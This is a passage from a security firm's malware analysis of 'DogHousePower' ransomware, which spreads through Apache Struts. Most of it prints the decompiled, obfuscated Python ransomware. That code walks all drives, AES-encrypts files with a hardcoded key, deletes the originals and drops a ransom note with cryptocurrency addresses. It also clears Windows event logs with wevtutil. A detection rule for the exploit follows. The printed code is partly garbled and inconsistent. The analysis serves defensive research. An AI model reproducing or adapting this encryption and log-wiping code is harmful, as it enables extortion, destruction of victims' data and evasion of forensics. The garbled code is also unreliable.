'.wav', '.lock', '.hta', '.war', '.jar', '.txt', '.pptx', '.mdb', '.xltm', '.odb', '.rmvb', '.odt',
'.md', '.docx', '.b64', '.xlsx', '.dotx', '.xlsb', '.doc', '.html', '.svg', '.dotm', '.dbc', '.out',
'.nsf', '.base64', '.myd', '.ppsx', '.map', '.myi', '.jsp', '.dps', '.ett', '.zip', '.dpt', '.png',
'.jspx', '.tar', '.flac', '.key', '.swf', '.mp3', '.java', '.gz', '.mp4', '.gho', '.eml']
```

```
I1Ii11I1I1i = ['.RC', '.RB', '.CS', '.KEY', '.DWG', '.CONF', '.HVM', '.RPM', '.ISO', '.VTI',
'.MCA', '.RAW', '.CRT', '.RAR', '.POT', '.MID', '.Xlam', '.AAC', '.AVI', '.BMP', '.PPTM',
'.EIF', '.DOT', '.PHP', '.CSV', '.WMA', '.EC', '.ET', '.WMV', '.SLN', '.PL', '..DES', '.HTM',
'.SQLITEDB', '.7Z', '.E', '.MDF', '.JPG', '.CPP', '.DBF', '.PS', '.HTM', '.SAZ', '.LUA', '.ASP',
'.GPG', '.VBA', '.CLASS', '.DEB', '.XZ', '.ASC', '.XLT', '.LOG', '.VBS', '.RSA', '.CAP',
'.ASM', '.SH', '.DMP', '.PSD', '.XLS', '.XLT', '.APP', '.PDF', '.IMG', '.ORA', '.PUB', '.HTML',
'.APK', '.DDS', '.STR', '.FLY', '.ASPx', '.TIF', '.MPEG', '.PS1', '.BAK', '.GIF', '.PPT',
'.CONFIG', '.PPS', '.RTF', '.SQLITE3', '.MOV', '.CSV', '.DOCm', '.FRM', '.SXP', '.RDP',
'.BZ2', '.VMDK', '.XLSM', '.ID', '.AES', '.NS', '.VDI', '.LDF', '.WPS', '.WPT', '.SQL', '.C',
'.OPT', '.WAV', '.LOCK', '.HTA', '.WAR', '.JAR', '.TXT', '.PPTX', '.MDB', '.XLT', '.ODB',
'.RMVB', '.ODT', '.MD', '.DOCX', '.B64', '.XLSX', '.DOTX', '.XLSB', '.DOC', '.HTML', '.SVG',
'.DOTM', '.DBC', '.OUT', '.NSF', '.BASE64', '.MYD', '.PPSX', '.MAP', '.MYI', '.JSP', '.DPS',
'.ETT', '.ZIP', '.DPT', '.PNG', '.JSXP', '.TAR', '.FLAC', '.KEY', '.SWF', '.MP3', '.JAVA', '.GZ',
'.MP4', '.GHO', '.EML']
```

```
Ooo = ['.Rc', '.Rb', '.Cs', '.Key', '.Dwg', '.Conf', '.Hvm', '.Rpm', '.Iso', '.Vti', '.Mca',
'.Raw', '.Crt', '.Rar', '.Pot', '.Mid', '.Xlam', '.AAC', '.Avi', '.Bmp', '.Pptm', '.Eif', '.Dot',
'.Php', '.Csv', '.Wma', '.Ec', '.Et', '.Wmv', '.Sln', '.Pl', '..Des', '.Htm', 'Sqlitedb', '.7z', '.E',
'.Mdf', '.Jpg', '.Cpp', '.Dbf', '.Ps', '.Htm', '.Saz', '.Lua', '.Asp', '.Gpg', '.Vba', '.Class',
'.Deb', '.Xz', '.Asc', '.Xlt', '.Log', '.Vbs', '.Rsa', '.Cap', '.Asm', '.Sh', '.Dmp', '.Psd', '.Xls',
'.Xlt', '.App', '.Pdf', '.Img', '.Ora', '.Pub', '.Html', '.Apk', '.Dds', '.Str', '.Fly', '.Aspx', '.Tif',
'.Mpeg', '.Ps1', '.Bak', '.Gif', '.Ppt', '.Config', '.Pps', '.Rtf', '.Sqlite3', '.Mov', '.Csv',
'.Docm', '.Frm', '.Sxp', '.Rdp', '.Bz2', '.Vmdk', '.Xlsm', '.Id', '.AES', '.Ns', '.Vdi', '.Ldf',
'.Wps', '.Wpt', '.Sql', '.C', '.Opt', '.Wav', '.Lock', '.Hta', '.War', '.Jar', '.Txt', '.Pptx', '.Mdb',
'.Xlt', '.Odb', '.Rmvb', '.Odt', '.Md', '.Docx', '.B64', '.Xlsx', '.Dotx', '.Xlsb', '.Doc',
'.Html', '.Svg', '.Dotm', '.Dbc', '.Out', '.Nsf', '.Base64', '.Myd', '.PPSX', '.Map', '.Myi',
'.Jsp', '.Dps', '.Ett', '.Zip', '.Dpt', '.Png', '.jspx', '.Tar', '.Flac', '.Key', '.Swf', '.Mp3', '.Java',
'.Gz', '.Mp4', '.Gho', '.Eml']
o0o0o000o = Oo + I1Ii11I1I1i + Ooo + II1Ii
if 43 - 43: 0000o0. II1Iii1111i
if 25 - 25: o0000oo
if 89 - 89: II1I1Iiiii11 - 0000o0o * II1Iii1111i
```

```
# Defining the 'C:\\HoW_To-UnloCK.tXT' into the OO variable.
OO = 'C:\\HoW_To-UnloCK.tXT'
if 34 - 34: 0000o0o % 000 % ii1I % 0000o0o * o0o / iiiili11i
```

```
# The part where user ID is being generated, gets displayed in "Your ID: 1506633170.51-10519-18942-55132-74774-61086-28339" section of the "!HoW_To-UnloCK.tXT" file.
```

```
lili = str ( time . time ( ) ) + '-' + str ( random . randint ( 1000 , 70000 ) ) + "-" + str ( random . randint ( 1000 , 20000 ) ) + '-' + str ( random . randint ( 2000 , 80000 ) ) + '-' + str ( random . randint ( 5000 , 90000 ) ) + '-' + str ( random . randint ( 2000 , 80000 ) ) + '-' + str ( random . randint ( 2000 , 80000 ) )
if 87 - 87: lill / ll1lili1111i + OOOOo - ll1lili1111i . ll1lili1111i / OOO
if 11 - 11: oo0000 % li1I - lili11illi1li
if 58 - 58: i11iliilii % OOOOo
```

```
# The following portion that goes into "!HoW_To-UnloCK.tXT" is a slightly modified version of what has been seen in this splash page, where the ZCash account and, the email ID are the same. In the other splash page listed above, also says "我们是绝对不会类似WannaCry Ransomware,收钱不解锁", which literally translates to "We are definitely not like WannaCry Ransomware, where money is not unlocked".
```

000o0oo00o = """Auto Language Detect:Chinese:

您好，您的文件已经被加密。请不要求助于警察或防护软件，因为他们并不能帮助您解密文件。

```
# Hello, your file has been encrypted. Please do not resort to the police or protective software,
# because they cannot help you decrypt the file.
```

解密方法:

# Decryption method:

3天内支付5000人民币等价的比特币到地址

# 3 days to pay 5,000 yuan equivalent to the bit to the address

1HPRcuSHAXFSaEuN9Jhe7RmVbv8oBdx16

! 价格可以商议 !

# The price can be negotiated!

如果超过3天，则请您支付6000人民币等价的比特币

# If you have more than 3 days, please pay RMB 6,000 equivalent

如果超过7天，则请支付7000人民币等价的比特币

# If you have more than 7 days, please pay RMB 7,000 equivalent

或按照以上价格支付人民币等价的ZCash到地址

# Or at the above price to pay RMB equivalent ZCash to address

t1bPWjxDoSrJzZD1PZfDCwbiMzpnQo5D7jo

(比特币Bitcoin和零币ZCash都是虚拟货币， 详情请询问搜索引擎)

# (Bitcoin Bitcoin and ZCash are both virtual currency, please refer to the search engine)

(比特币官网:Bitcoin.org)

# (Bitcoin official website: Bitcoin.org)

(ZCash官网:Z.Cash)

# (ZCash official website: Z.Cash)

如果超过13天， 我们不再有能力为您解密文件

# If more than 13 days, we no longer have the ability to decrypt the file for you

(您的付款将被我们捐款20%-

25%到thewaterproject.org(比特币地址14xEPWuHC3ybPMfv8iTZZ29UCLTUSoJ8HL),这个操作由我们完成。 如果您的支付为ZEC我们将自动转换为比特币)

# (Your payment will be made by us 20% -25% to thewaterproject.org (Bitcoin Address

# 14xEPWuHC3ybPMfv8iTZZ29UCLTUSoJ8HL), this operation is done by us. If your payment

# is ZEC we will automatically convert it to Bitcoin)

```
# liii contains the output of str ( time . time ( ) ) + '-' + str ( random . randint ( 1000 , 70000 ) ) + "-" + str ( random . randint ( 1000 , 20000 ) ) + '-' + str ( random . randint ( 2000 , 80000 ) ) + '-' + str ( random . randint ( 5000 , 90000 ) ) + '-' + str ( random . randint ( 2000 , 80000 ) ) + '-' + str ( random . randint ( 2000 , 80000 ) )
```

您的ID:""" + liii + """

# Your ID: 1506633170.51-10519-18942-55132-74774-61086-28339

当您支付完成， 请联系邮箱

# When you are finished paying, please contact the email address  
atlantis[.]cf[@]yandex[.]com

请发送付款记录/截图以及ID

# Please send a payment history / screenshot and ID

当您支付完成，我们保证一定遵守承诺，为您解密。谢谢您。

# When you pay to complete, we promise to keep the promise and decrypt it for you.  
Thank you.

!!!我们支持先解密几个文件(通过邮箱发送)!!!

# We support first to decrypt several files (via email) !!!

文件不能超过10 MB

# The file can not exceed 10 MB

如果有任何疑问，请发送至邮箱

# If you have any questions, please send to the mailbox

`atlantis[.]cf[@]yandex[.]com`

若没有收到回复请检查spam!!!垃圾箱！！！谢谢！

# If you do not receive a reply please check spam !!! trash! The The Thank you!

支持的提问语言:英语(美国), 俄语, 西班牙语, 中文(中国)

# Supported questions Language: English (US), Russian, Spanish, Chinese (China)

谢谢您的合作

# Thank you for your cooperation

您的语言:中文(中国)(不是您的语言?我们推荐:Google Translate)

# Your Language: Chinese (China) (not your language? We recommend: Google Translate)

*Buying Bitcoin in China:*

`localbitcoins.com/zh-cn/buy_bitcoins`

`huobi.com`

`okcoin.com`

`btcchina.com`

`etc...`

*Buying Zcash in China:*

`yuanbao.com`

`lhang.com`

`etc...`

`.....`

```

# Place holder variables- iiii11 and Oo0oO
iiii11 = "*****"
Oo0oO = "*****"
if 58 - 58: o0000 + iiii11i / o0000oo * iii111iiii11

# Oo contains 'C:\\\\HoW_To-UnloCK.tXT' and the following opens the txt file in write mode.
iiii11 = open( Oo , 'w' )

# Concatenating the ransom content with the 2 placeholder variables.
II = Oo0oOoo00o + iiii11 + Oo0oO

# Write the contents to the file and then close 'C:\\\\HoW_To-UnloCK.tXT'
iiii11 . write( II )
iiii11 . close()

#Here they are creating the 'HoW_To-UnloCK.tXT' in C:\\
o0o0o00oOo = 'start C:\\!HoW_To-UnloCK.tXT'
if 96 - 96: i1iil . iiiili11i * l1li111 % ll1iiii111i
if 60 - 60: iill * li1l % li1l % oo0o00o * 000 + l1iil
if 64 - 64: iill - iil / 000 / li1l / ii1l
if 24 - 24: iil % li1l + l1iil + 0000o + ill111i

# key is passed a value from the variable IIIii1III1ll of
'1sUyPiq3DAGvOqtQ8pB7cwDMmGJ5X1WT'
def Oo00000000 ( key ) :
    for iil1il in win32api . GetLogicalDriveStrings ( ) . split ( '\\000') [ :- 1 ] :
        for ll0o0o0oo0 , Ooo0O , ll1iiii1li in os . walk ( iil1il ) :
            for file in ll1iiii1li :

# If the file extension is in any of the 4 defined variables Oo, l1li111li1i, Ooo, and li1l
            if file . endswith ( tuple ( o0o0o000o ) ) :
                O00oOoo = ( os . path . join ( ll0o0o0oo0 , file ) )

```

```

# The ransomware writers are being considerate for you to continue running your
Windows and Documents and Settings as usual, without which you cannot function as
normal within the box, although almost everything else with the listed extensions get
encrypted.

if 000o0oo . startswith ( "C:\\Documents and Settings" ) == True or 000o0oo .
startswith ( "C:\\Windows" ) == True :
    1 + 1
else :
    try :
        00o0Oo ( key , 000o0oo )
        0o0000000 = open ( 000o0oo [ 0 : - len ( file ) ] + '!HoW_To-UNLoCK.tXT' , 'w' )
        0o0000000 . write ( 11 )
        0o0000000 . close ( )
        os . remove ( 000o0oo )
    except :
        pass
    if 85 - 85: ll1lli1111i . ooo - o0000 % ll1lli1111i % 000
    if 81 - 81: o0000 + 000 % ooo * iil
    if 89 - 89: lill + lili11illi1li
    if 3 - 3: l1lli1 / oo000 % ooOo0Oo * i11ili1li / iil * ooOo0Oo
def 000o0o ( key , in_filename , out_filename = None , chunksize = 64 * 1024 ) :
    if 49 - 49: lill % o0000oo + l1lli1 . oo000 % ill111i
    if not out_filename :

# Adding file extension '.DogHousePower' to the encrypted files
    out_filename = in_filename + '.DogHousePower'
    if 48 - 48: ooOo0Oo + ooOo0Oo / 0OO / ii1

# The Initial Vector (IV)/salt value which ranges from 0x00 to 0xFF (range: 0-16 in HEX)
# and then passed on to the AES function through the i1ili111 variable.
    i1ili111 = " . join ( chr ( random . randint ( 0 , 0xFF ) ) for i in range ( 16 ) )

# AES function with Cipher Block Chaining (CBC) mode using the key, mode and IV to
# generate the new key.
    iii = AES . new ( key , AES . MODE_CBC , i1ili111 )

# Opening and reading files in rb (read binary) as Oo00000o0OO and wb (write binary)
# as oOoo, for encryption.
    o00o000000oo0 = os . path . getsize ( in_filename )
    if 48 - 48: ill + iil - ill111i . ll1lli1111i / ii1i
    with open ( in_filename , 'rb' ) as Oo00000o0OO :
        with open ( out_filename , 'wb' ) as oOoo :

```

```

# struct is the module that converts Python to C Structs, and in this case the size of the
file is packed using the little endian "<" with an "unsigned long long" integer type using
"Q".
oOoo . write ( struct . pack ('<Q', oOoo0000000000) )

# The Initial Vector is also written into the file.
oOoo . write ( i1i111l )
if 8 - 8: iiiili11i
while True :

# Reading chunks of files limited to the file length for it to be encrypted.
o000 = Oo00000o000 . read ( chunkszie )
if len ( o000 ) == 0 :
break
elif len ( o000 ) % 16 != 0 :
o000 += ' ' * ( 16 - len ( o000 ) % 16 )
if 69 - 69: lill % 0000o - li1l + 0000o - iil % ill111iiii11

# Encrypt the chunks of files that are being read through the o000 variable and write it
back to where it was.
oOoo . write ( iiiii . encrypt ( o000 ) )
if 31 - 31: 000 - l1i111. 0000o % iiiili11i - iil
if 4 - 4: 000 / ll1i11111. o0o
if 58 - 58: l1i111 * i11i1i1i / iiiili11i % 0000o - ill111i / lill
def ii11i1 () :

# This is where key (to encrypt files) is being defined.
lllii1ll1l = '1sUyPiq3DAGv0qtQ8pB7cwDMmGJ5X1WT'

# Function call to encrypt files with the lllii1ll1l parameter, passing the key value.
Oo00000000 ( lllii1ll1l )
def i1i1il () :
ii11i1 ()
if 93 - 93: ii1l % lill * i1i1il
i1i1il ()

# This would translate to os.system ('start C:\\!HoW_To-UnloCK.tXT')
os . system ( oOoOo00o0o )
def li11i1il () :
O00oO = winshell . desktop ()
l11i11l = "HoW_To-UnloCK"

```

```

# Creating shortcuts to "C:\!HoW_To-UnoCK.tXT" from every folder where files are
encrypted with no Icons, and description of "HoW_To-UnoCK".
oOOOo = r"C:\!HoW_To-UnoCK.tXT"
winshell.CreateShortcut(
    Path = os.path.join(oOOOo, os.path.basename(l11i1l1) + ".lnk"),
    Target = oOOOo,
    Icon = (oOOOo, 0),
    Description = "HoW_To-UnoCK")
if 54 - 54: li1l - oo000 + ill111iiii11
try:
    li11i1l()
except:
    pass
if 70 - 70: o0000oo / ooOoOoo . oOo % lili11illi1l
def O0oO0000000000():

# Clearing the System, Security and Applications logs from the Windows Event
Logger/Viewer.
os.system("wevtutil cl System")
os.system("wevtutil cl Security")
os.system("wevtutil cl Application")
O0oO0000000000()
if 16 - 16: oo000 * lill % O000oo0
try:
    O0Oo()
except:
    pass
if 86 - 86: oo000 + o0000oo % i11iliilii * lill . ll1lii1111i * ooOoOoo
if 44 - 44: lill
if 88 - 88: O00Oo % o0000oo . O0O

```

Emerging-scan.rules has been added for the Struts Pwn Vulnerability detection:

```

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN struts-pwn User-Agent";
flow:established,to_server; content:"struts-pwn"; depth:10; http_user_agent;
fast_pattern;metadata:affected_product Apache_Struts2, attack_target Web_Server, deployment
Perimeter, signature_severity Critical; metadata: former_category SCAN;
reference:url,github.com/mazen160/struts-pwn_CVE-2017-9805/blob/master/struts-pwn.py;
reference:cve,2017-9805; reference:url,paladion.net/paladion-cyber-labs-discovers-a-new-
ransomware/; classtype:attempted-user; sid:2024843; rev:2; metadata:affected_product
Apache_Struts2, attack_target Web_Server, deployment Datacenter, signature_severity Minor,
created_at 2017_10_16, performance_impact Moderate, updated_at 2017_10_16;)

```

## Conclusion

Based on the observations of this attack chain, one can make the assumption that DogHousePower Ransomware targets Windows based servers that has Apache Struts 2 that you would expect to be running on Internet accessible Windows servers in the DMZ. When researching on the email address and the ZCash account that was on the ransom text file, and various other patterns from the ransomware itself, we found that this ransomware could have been developed from the same family as the ".BELGIAN\_COCA", ".MyChemicalRomance4EVER", "LambdaLocker", "Pickles" and "CryPy" ransomwares. We should keep an eye on such families of ransomware for their potential to evolve into platform independent malwares utilizing built-in Py libraries

## Acknowledgements

Adair Collins

## References

REMnux: A linux toolkit for reverse-engineering and analyzing malware - <https://remnux.org/>

PyInstaller - <http://www.pyinstaller.org/>

GitHub - <https://github.com/>

V0rt3xClub FITKO repo - <https://github.com/V0rt3xClub/FITKO/>

Struts\_pwn attack tool - [https://github.com/mazen160/struts-pwn\\_CVE-2017-9805](https://github.com/mazen160/struts-pwn_CVE-2017-9805)

Hybrid Analysis report - <https://www.hybrid-analysis.com/sample/2c424a9671956eb6c3414916205a4351b05b2e07a8c557052a549c7cd56de558>

CVE-2017-5638 - <https://nvd.nist.gov/vuln/detail/CVE-2017-5638>

Yara - The pattern matching swiss knife for malware researchers (and everyone else) - <https://virustotal.github.io/yara/>

wo\_crypted VirusTotal report -

<https://www.virustotal.com/#/file/3d76b3d1eb0e0a583264613abc368bd67d5a7fa41e5ab62cce6c97e258973bc6/detection>

2.exe VirusTotal report -

<https://www.virustotal.com/#/file/2c424a9671956eb6c3414916205a4351b05b2e07a8c557052a549c7cd56de558/detection>

## ABOUT PALADION

Paladion is a global cyber defense company that provides Managed Detection and Response Services, DevOps Security, Cyber Forensics, Incident Response, and more by tightly bundling its semi-autonomous cyber platform and managed services with leading security technologies. Paladion is consistently rated and recognized by independent analyst firms and awarded by CRN, Asian Banker, Red Herring, amongst others.

For 17 years, Paladion has been actively managing cyber risk for over 700 customers from its six cyber operations centers placed across the globe. It houses 900+ cyber security professionals including security researchers, threat hunters, ethical hackers, incident responders, solution architects, consultants and more. Paladion is also actively involved in several information security research forums such as OWASP, and has authored several books on security monitoring, application security, and more.

**WW Headquarters:** 11480 Commerce Park Drive, Suite 210, Reston, VA 20191 USA. Ph: +1-844-507-7668.

Bangalore: +91-80-42543444, Mumbai: +91-2233655151, Delhi: +91-9910301180, London: +44(0)2071487475, Toronto: +1-416-273-5004, Dubai: +971-4-2595526, Sharjah: +971-50-8344863, Doha: +97433559018, Riyadh: +966(0)114725163, Muscat: +968 99383575, Kuala Lumpur: +60-3-7660-4988, Bangkok: +66 23093650-51, Jalan Kedoya Raya: +62-8111664399.

[sales@paladion.net](mailto:sales@paladion.net) | [www.paladion.net](http://www.paladion.net)